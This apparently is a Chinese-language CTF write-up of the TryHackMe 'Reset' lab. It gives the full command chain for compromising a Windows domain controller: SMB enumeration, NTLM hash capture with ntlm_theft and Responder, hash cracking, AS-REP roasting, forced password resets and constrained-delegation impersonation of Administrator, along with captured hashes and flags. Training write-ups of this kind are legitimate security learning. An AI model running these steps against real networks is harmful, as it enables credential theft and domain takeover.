抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

Qingwan

在时间的维度上,一切问题都是有解的。

TryHackMe-reset渗透靶场的解决思路以及遇到的一些问题

实验需要我们获得两个flag,一个是user用户的flag,还有一个是获得root用户的flag
为了方便操作,我们先用openvpn连接到我们本地的kali虚拟机上(官方文章
但是连接openvpn用了我蛮久时间,这个对网络的要求蛮高的,有几个点,第一个kali里面也要挂梯子,然后一次不成功记得多试几次,还不行就试试在官网上换个节点再试试。
连接成功后,连接页面这里会显示连接成功,并且可以看到给我们分配的虚拟ip为10.17.6.118,这个ip是固定ip

外部打点

我们开启靶机,我们的靶机ip为10.10.254.2(后面靶机过期,所以重新打开靶机,ip地址会变化,除了固定分配的ip之外的其他ip都是我们的靶机ip)
先用nmap扫描一下端口,这里实战中如果觉得太速度太快了可能被发现的话,可以改一下速度

1
nmap -Pn -sC -sV 10.10.254.2

我们看到了开放了一些端口,而且还知道了域名为THM,计算机名字为HAYStack

1
2
3
4
5
6
7
8
9
10
11
12
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-02-06 09:29:51Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: thm.corp0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services


我们看到他打开了445端口,有SMB服务,打开了3389端口,可以尝试远程桌面连接。但是我们该怎么打进去呢,这里也没有web服务。
我们先从SMB服务入手吧,尝试一下用CrackMapExec进行SMB枚举

匿名用户访问

1
2
3
4
5
6
7
8
#尝试使用已知的用户名和密码进行身份验证、枚举可访问的共享资源等。
crackmapexec smb 10.10.254.2

#添加了 --shares 参数。它的作用是在扫描过程中枚举目标主机上的共享资源。通过列出共享资源
crackmapexec smb 10.10.254.2 --shares

#指定用户名和密码进行身份验证
crackmapexec smb 10.10.254.2 --shares -u QW -p ''

我们使用前两个命令,发现并没有显示什么共享资源,而且报错STATUS_USER_SESSION_DELETED,所以我们想到给他一个用户

第三个命令中我们指定了用户名为QW,密码为空,用户名为我们自己指定的任意值

这个命令就列出了我们的共享资源,但是为什么呢?这里QW这个用户名也是原来的计算机中不存在的呀。这里是由于当开启支持匿名访问的文件共享后,其他用户不需要输入用户名和口令,可以直接访问文件服务器的共享文件。所以这里的原因是由于靶机支持匿名登录。当使用SMB协议输入一个不存在的用户名时,系统会将我们作为匿名用户对待,并授予我们访问共享资源的权限。

我们看到这里的DATA这个共享目录,有读和写的权限,那我们就访问一下这个目录
这里由于转义原因,我们需要多加对应个数的斜杠,回车会提示输入密码,随便输入一个即可,一次没成功,多试几次就行

1
smbclient -U 'QW' \\\\10.10.99.197\\Data

然后我们看看他当前目录有哪些文件

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~]
└─$ smbclient -U 'QW' \\\\10.10.99.197\\Data
Password for [WORKGROUP\QW]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 19 16:40:57 2023
.. D 0 Wed Jul 19 16:40:57 2023
onboarding D 0 Wed Feb 7 15:16:13 2024

7863807 blocks of size 4096. 3001419 blocks available

切换到onboarding看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
smb: \> cd onboarding
smb: \onboarding\> ls
. D 0 Wed Feb 7 15:17:13 2024
.. D 0 Wed Feb 7 15:17:13 2024
gmx2kujx.wlc.txt A 521 Tue Aug 22 02:21:59 2023
j1kmav5y.ogg.pdf A 3032659 Mon Jul 17 16:12:09 2023
qt014yev.xfy.pdf A 4700896 Mon Jul 17 16:11:53 2023

7863807 blocks of size 4096. 3001284 blocks available
smb: \onboarding\> ls
. D 0 Wed Feb 7 15:19:43 2024
.. D 0 Wed Feb 7 15:19:43 2024
htdrjeca.rtp.pdf A 4700896 Mon Jul 17 16:11:53 2023
spmna0aq.2ly.pdf A 3032659 Mon Jul 17 16:12:09 2023
tah3bqah.5si.txt A 521 Tue Aug 22 02:21:59 2023

我们看到两次访问的文件名发生了变化,那证明这个目录下存在活动。
我们将这三个文件下载下来查看一下

1
2
3
4
mask "" 
recurse ON
prompt OFF
mget *
  1. mask "": 这个命令将掩码设置为空,意味着匹配所有文件名。在批量操作中,掩码用于指定要匹配的文件名模式,如果将掩码设置为空,则表示匹配所有文件。
  2. recurse ON: 这个命令将递归设置为打开状态。当递归设置为打开时,在批量操作中还会包括子目录下的文件。因此,如果有子目录,也会下载其中的文件。
  3. prompt OFF: 这个命令将提示设置为关闭状态。在FTP批处理操作中,通常会询问用户是否要下载每个文件,如果将提示设置为关闭,则在下载过程中不会提示用户,而是自动执行下载操作。
  4. mget *: 这个命令用于批量下载所有文件。根据前面设置的掩码、递归和提示选项,该命令将下载当前目录下的所有文件,包括子目录中的文件,且不会提示用户确认每个文件的下载。

通过以上几个命令,我们把onboarding目录下的文件下载到我们的机器上,我们查看一下txt文件里面的内容。

通过上面信息我们可以知道,我们的初始密码为:ResetMe123!

ntlm theft生成hash窃取文件获取hash值

上面我们说到这个目录下的文件名在时刻变化,所以我们如果把我们的文件也放在该目录下,那当受害者访问该文件时,我们就可以获取到他的NTLM hash
这里我们要利用到ntlm_theft这个脚本

1
2
#这里的ip为一开始THM给我们分配的ip,并不是靶机的ip
python3 ntlm_theft.py -g all -s 10.17.6.118 -f qw


这将在我们当前目录下生成一个qw文件夹,我们进入该qw文件夹,然后进行SMB连接

1
smbclient -U 'QW' \\\\10.10.0.69\\Data

然后上传对应文件,记得要在onboarding目录下上传

1
put qw.lnk

再在Responder开启监听

1
sudo responder -I tun0 -v

过一会后收到用户的密码以及hash值

我们成功得到了NTLNv2 hash,并且还知道了用户名为AUTOMATE

1
2
3
[SMB] NTLMv2-SSP Client   : 10.10.0.69
[SMB] NTLMv2-SSP Username : THM\AUTOMATE
[SMB] NTLMv2-SSP Hash : AUTOMATE::THM:173a6d47a02a194d:E92F330550335AE2C9D349F0D66E5CAD:01010000000000000030F5BDEB59DA01FF1BD4164F02936400000000020008 003500440030005A0001001E00570049004E002D0046003400320037004A0034004D004400460 04800460004003400570049004E002D0046003400320037004A0034004D004400460048004600 2E003500440030005A002E004C004F00430041004C00030014003500440030005A002E004C004 F00430041004C00050014003500440030005A002E004C004F00430041004C00070008000030F5 BDEB59DA010600040002000000080030003000000000000000010000000020000074452431AFE 7A9850C284C766D876F15A0EF7CCCCE693088EB5563209FD083D40A0010000000000000000000 00000000000000000900200063006900660073002F00310030002E00310037002E0036002E003 100310038000000000000000000

拿到了hash值,我们先用hashcat或者john爆破一下,保存hash值到hash.txt

1
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt --force --show


得到密码为Passw0rd1,得到密码之后我们就尝试登录。
我们前面看到开启了3389端口,我们分别用kali和win10连接一下,发现都连接不上

应该是当前的账户不能RDP
这里看了下网上的wp,用的是evil-winrm这个工具

1
evil-winrm -i 10.10.141.138 -u AUTOMATE -p Passw0rd1

拿下shell

然后得到第一个user的flag
THM{AUTOMATION_WILL_REPLACE_US}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
*Evil-WinRM* PS C:\Users\automate\Documents> dir
*Evil-WinRM* PS C:\Users\automate\Documents> pwd

Path
----
C:\Users\automate\Documents


*Evil-WinRM* PS C:\Users\automate\Documents> hostname
HayStack
*Evil-WinRM* PS C:\Users\automate\Documents> dir
*Evil-WinRM* PS C:\Users\automate\Documents> cd ../
*Evil-WinRM* PS C:\Users\automate> dir


Directory: C:\Users\automate


Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 6/14/2023 8:35 AM 3D Objects
d-r--- 6/14/2023 8:35 AM Contacts
d-r--- 7/14/2023 7:28 AM Desktop
d-r--- 7/13/2023 3:49 PM Documents
d-r--- 6/14/2023 8:35 AM Downloads
d-r--- 6/14/2023 8:35 AM Favorites
d-r--- 6/14/2023 8:35 AM Links
d-r--- 6/14/2023 8:35 AM Music
d-r--- 6/14/2023 8:35 AM Pictures
d-r--- 6/14/2023 8:35 AM Saved Games
d-r--- 6/14/2023 8:35 AM Searches
d-r--- 6/14/2023 8:35 AM Videos


*Evil-WinRM* PS C:\Users\automate> cd Desktop
*Evil-WinRM* PS C:\Users\automate\Desktop> dir


Directory: C:\Users\automate\Desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 6/21/2016 3:36 PM 527 EC2 Feedback.website
-a---- 6/21/2016 3:36 PM 554 EC2 Microsoft Windows Guide.website
-a---- 6/16/2023 4:35 PM 31 user.txt


*Evil-WinRM* PS C:\Users\automate\Desktop> type user.txt
THM{AUTOMATION_WILL_REPLACE_US}
*Evil-WinRM* PS C:\Users\automate\Desktop>


这里有一个思考,那就是怎么想到用Evil-WinRM这个工具的呢?

WinRM = Windows Remote Management,即Windows远程管理

内网信息收集

我们拿下了第一台机器之后,就看一下域内还有哪些其他的机器,下一步我们的目标是拿下域控
我们输入systeminfo命令查看,发现我们没有权限执行

1
2
3
4
5
6
7
8
9
10
*Evil-WinRM* PS C:\Users\automate\Desktop> systeminfo
Program 'systeminfo.exe' failed to run: Access is deniedAt line:1 char:1
+ systeminfo
+ ~~~~~~~~~~.
At line:1 char:1
+ systeminfo
+ ~~~~~~~~~~
+ CategoryInfo : ResourceUnavailable: (:) [], ApplicationFailedException
+ FullyQualifiedErrorId : NativeCommandFailed

查询一下域内用户的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
*Evil-WinRM* PS C:\Users\automate\Desktop> net user /domain

User accounts for \\

-------------------------------------------------------------------------------
3091731410SA 3811465497SA 3966486072SA
Administrator ANDY_BLACKWELL AUGUSTA_HAMILTON
AUTOMATE CECILE_WONG CHERYL_MULLINS
CHRISTINA_MCCORMICK CRUZ_HALL CYRUS_WHITEHEAD
DANIEL_CHRISTENSEN DARLA_WINTERS DEANNE_WASHINGTON
ELLIOT_CHARLES ERNESTO_SILVA FANNY_ALLISON
Guest HORACE_BOYLE HOWARD_PAGE
JULIANNE_HOWE krbtgt LEANN_LONG
LETHA_MAYO LILY_ONEILL LINDSAY_SCHULTZ
MARCELINO_BALLARD MARION_CLAY MICHEL_ROBINSON
MITCHELL_SHAW MORGAN_SELLERS RAQUEL_BENSON
RICO_PEARSON ROSLYN_MATHIS SHAWNA_BRAY
STEWART_SANTANA TABATHA_BRITT TED_JACOBSON
TRACY_CARVER TREVOR_MELTON
The command completed with one or more errors.

然后再查询一下域控的主机名

1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\automate\Desktop> net group "Domain Controllers" /domain
Group name Domain Controllers
Comment All domain controllers in the domain

Members

-------------------------------------------------------------------------------
Guest HAYSTACK$ HOWARD_PAGE
MORGAN_SELLERS
The command completed successfully.

然后查看一下域管的名字

1
net group "domain admins" /domain


可以知道域管的名字为Administrator

由一开始查域内用户可知,我们现在就是要提权到Administrator域管用户,然后再横向移动到域控

现在我们利用一下Bloodhound进行一下域内的信息收集

1
bloodhound-python -ns 10.10.188.230 --dns-tcp -d THM.CORP -u 'automate' -p 'Passw0rd1' -c All --zip

然后将生成的zip文件导入bloodhound图形化界面中(安装教程参考 ),查看信息

1
2
sudo neo4j start
./BloodHound --no-sandbox

横向移动

我们从上面的分析中看到,检查 AS-REP Roastable 用户,有 3 个用户。这表示以下三个用户支持 AS-REP

  • ERNESTO_SILVA@THM.CORP
  • TABATHA_BRITT@THM.CORP
  • LEANN_LONG@THM.CORP

AS-REP Roasting

接下来我们就利用这几个用户,使用AS-REP Roasting攻击。

AS-REP Roasting攻击利用了Kerberos协议中的弱点,其中AS-REP请求是一种允许用户使用预身份的请求,而不需要提供密码。攻击者可以通过发送特制的AS-REP请求,从域控制器获取目标用户的加密AS-REP票据。
这个攻击的利用前提为:

需要用户账号设置 “Do not require Kerberos preauthentication(不需要kerberos预身份验证) “。但是该属性是默认不勾选的。

我们使用impacketGetNPUsers.py脚本来分别请求这三个用户的TGT票据,记得要把ip写上噢

1
2
3
impacket-GetNPUsers thm.corp/ERNESTO_SILVA -request -no-pass -dc-ip 10.10.234.211
impacket-GetNPUsers thm.corp/TABATHA_BRITT -request -no-pass -dc-ip 10.10.234.211
impacket-GetNPUsers thm.corp/LEANN_LONG -request -no-pass -dc-ip 10.10.234.211

接下来分别用john (我用hashcat没有爆出来)对这三个结果进行爆破

1
2
3
john 1.txt --wordlist=/usr/share/wordlists/rockyou.txt 
john 2.txt --wordlist=/usr/share/wordlists/rockyou.txt
john 3.txt --wordlist=/usr/share/wordlists/rockyou.txt

只有第二个TABATHA_BRITT用户爆破出了密码,为marlboro(1985)
可以用 john --show 2.txt 显示密码

这里后面我再试了一下,hashcat也可以进行爆破
如果$krb5asrep后面没有$23的话,要在$krb5asrep后面添加$23拼接。才能变成hashcat可以识别的格式

1
hashcat -m 18200 2.txt /usr/share/wordlists/rockyou.txt --force


然后我们争对TABATHA_BRITT用户再进行枚举

1
bloodhound-python -ns 10.10.20.164 --dns-tcp -d THM.CORP -u 'TABATHA_BRITT' -p 'marlboro(1985)' -c All --zip


可以看到这里我们想到达 DARLA_WINTERS 的路线就是从TABATHA_BRITTSHAWMA_BRAYGenericAll。然后将密码从 SHAWMA_BRAY 强制更改为 CRUZZ_HALL。最后从 CRUZ_HALL DARLA_WINTERS 的通用写入。
这里为什么我们要选择这条路线呢?我们可以看到这条路线最后的WINTERS用户可以到达DOMAIN COMPUTERS域控机器,聪明BRITT出发就只有这一条路线到域控

我们右键路线,选择help

然后可以看到这里我们可以看到可以通过RPC使用GenericAll更改用户的密码。这也适用于 ForceChangePasswordGenericWrite

由于 TABATHA_BRITT 具有 SHAWNA_BRAYGenericAll,因此我们可以使用它来重置 SHAWNA_BRAY 的密码。
使用net rpc来实现这一点。

1
2
3
4
5
net rpc password "SHAWNA_BRAY" "newPassword@2024" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.49.98"

net rpc password "CRUZ_HALL" "newPassword@2024" -U "THM.CORP"/"SHAWNA_BRAY"%"newPassword@2024" -S "10.10.49.98"

net rpc password "DARLA_WINTERS" "newPassword@2024" -U "THM.CORP"/"CRUZ_HALL"%"newPassword@2024" -S "10.10.49.98"

来验证一下密码修改成功了没

1
crackmapexec smb 10.10.49.98 -u DARLA_WINTERS -p 'newPassword@2024'


然后我们再对DARLA_WINTERS用户进行一下枚举

1
bloodhound-python -ns 10.10.20.164 --dns-tcp -d THM.CORP -u 'DARLA_WINTERS' -p 'newPassword@2024' -c All --zip

我们看到DARLA_WINTERS用户,可以通过CIFS服务进行委派攻击

委派攻击

ImpacketgetST脚本将请求服务的Ticket 并将其保存为 ccache。如果帐户具有受限的委派权限,可以使用 -impersonate 标志代表其他用户请求票证。
在请求票据之前,我们先输入下面这个命令。这个命令可以从指定的 NTP 服务器上获取准确的时间,并将系统时间调整到与之同步。

1
ntpdate -s thm.corp

然后再开始获取票据,这里我试了好多次好多命令都没成功,最终执行下面这个命令成功了,我的感觉就是命令要尽量写的完整,ip和域名和用户名密码都尽量写上。

1
impacket-getST -spn "cifs/haystack.thm.corp" -dc-ip 10.10.20.164 -impersonate "Administrator" "thm.corp/DARLA_WINTERS:newPassword@2024"

1
2
export KRB5CCNAME=Administrator.ccache
impacket-wmiexec -k -no-pass Administrator@HayStack.thm.corp

但是我这里在输入第二个命令的时候一直报错

提示找不到服务,这是由于没有解析我们的域名导致的
我们需要编辑下我们的hosts文件,文件位于/etc/hosts。我们在文件的任意位置加上

1
靶机IP    HayStack.thm.corp


然后再次尝试

然后寻找第二个flag


THM{RE_RE_RE_SET_AND_DELEGATE}

我们可以画一个这个靶场的总思路思维导图

参考文章

https://jaxafed.github.io/posts/tryhackme-reset/#access-as-tabatha_britt
https://0xb0b.gitbook.io/writeups/tryhackme/2024/reset#initial-access

评论